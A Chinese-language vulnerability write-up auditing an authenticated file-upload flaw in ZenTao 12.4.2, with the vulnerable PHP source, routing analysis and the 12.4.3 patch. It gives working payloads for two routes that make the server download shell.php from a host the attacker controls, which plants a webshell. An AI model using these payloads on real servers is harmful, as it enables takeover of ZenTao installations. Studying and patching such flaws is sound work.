漏洞详情
禅道项目管理软件12.4.2版本存在后台任意文件上传漏洞
禅道已在12.4.3版本中修复该漏洞。
代码审计
对比12.4.2
与12.4.3
的源代码发现/module/client/ext/model/xuanxuan.php
路径增加了文件上传后缀的限制。
找到12.4.2版本中的对应文件,通过base64解码link
,之后正则匹配是否有http(s)://
(因为没有匹配大小写,利用可使用HTTP绕过),如果存在就返回false
,检查无误会调用父类中的downloadZipPackage
函数。
找到父类定义的函数/module/client/model.php
中的downloadZipPackage
,这个函数通过fopen
远程打开$link
链接的文件内容,并写入/www/data/client/$version/
路径中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
|
public function downloadZipPackage($version, $link) { ignore_user_abort(true); set_time_limit(0); if(empty($version) || empty($link)) return false; $dir = "data/client/" . $version . '/'; $link = helper::safe64Decode($link); $file = basename($link); if(!is_dir($this->app->wwwRoot . $dir)) { mkdir($this->app->wwwRoot . $dir, 0755, true); } if(!is_dir($this->app->wwwRoot . $dir)) return false; if(file_exists($this->app->wwwRoot . $dir . $file)) { return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; } ob_clean(); ob_end_flush();
$local = fopen($this->app->wwwRoot . $dir . $file, 'w'); $remote = fopen($link, 'rb'); if($remote === false) return false; while(!feof($remote)) { $buffer = fread($remote, 4096); fwrite($local, $buffer); } fclose($local); fclose($remote); return commonModel::getSysURL() . $this->config->webRoot . $dir . $file; }
|
查找downloadZipPackage
函数的调用,在/module/client/control.php
文件download
函数中存在调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
|
public function download($version = '', $link = '', $os = '') { set_time_limit(0); $result = $this->client->downloadZipPackage($version, $link); if($result == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->downloadFail)); $client = $this->client->edit($version, $result, $os); if($client == false) $this->send(array('result' => 'fail', 'message' => $this->lang->client->saveClientError)); $this->send(array('result' => 'success', 'client' => $client, 'message' => $this->lang->saveSuccess, 'locate' => inlink('browse'))); }
|
接着就是找对应的函数入口,对禅道的路由解析做分析,framework/base/router.class.php
的setRouteByGET
函数中将get请求中的数据按照config中对应的字段解析成模块名和方法名。
之后是方法的传参,framework/base/router.class.php
中的loadModule
函数,将方法中存在的参数提取出来,储存变量$defaultParams
中
然后通过setParamsByGET
函数将$defaultParams
和$_GET
中的变量合并,存入$this->params
中
最后通过call_user_func_array(array($module, $methodName), $this->params);
调用方法。
漏洞复现
根据上面的分析,可以确定漏洞的入口为m=client&f=download
,然后就是构造download函数的参数。
$version
参数可以随便填写,和最后的路径相关。
起一个http服务用来放我们要上传的文件,$link
参数需要用HTTP
绕过正则匹配,然后base64编码。
最后的payload为m=client&f=download&version=233&link=SFRUUDovLzE5Mi4xNjguMTI4LjIvc2hlbGwucGhw
访问/www/data/233/shell.php即可getshell。
漏洞修复
(升级12.4.3版本=。=
若无法升级,可以参考12.4.3版本代码,
1 2 3 4 5 6 7 8 9 10 11
| public function downloadZipPackage($version, $link) { $decodeLink = helper::safe64Decode($link); if(!preg_match('/^https?\:\/\//', $decodeLink)) return false;
$file = basename($link); $extension = substr($file, strrpos($file, '.') + 1); if(strpos(",{$this->config->file->allowed},", ",{$extension},") === false) return false;
return parent::downloadZipPackage($version, $link); }
|
总结(吐槽
总体来讲是一次简单的代码审计,这次的漏洞的功能点是客户端下载功能没有做好过滤,导致可以远程下载任意文件,但是这个功能点反倒不能正常使用。。。。
在后台客户端更新当中,url是从更新api获取的,http://xxxxxxx
,因为有http://
所以在12.4.2版本中是无法使用的,会被正则匹配到,返回false。
在12.4.3版本中正则判断加了取反,但是在下面后缀名匹配的时候,直接用了$link
变量,而$link
是base64编码之后的url,取后缀只能取到base64的字符串,怎么样都过不去后缀检测。。。
其他入口
看漏洞预警时发现漏洞入口不太一样,后来看到禅道 <= 12.4.2 后台文件上传漏洞(CNVD-C-2020-121325),发现禅道还有另一套路由机制,/framework/router.class.php
->setFlowURI()
,可以通过/model-function-params-1.html
的方式来访问相应的模块方法。即payload为/client-download-233-SFRUUDovLzE5Mi4xNjguMTI4LjIvc2hlbGwucGhw-1.html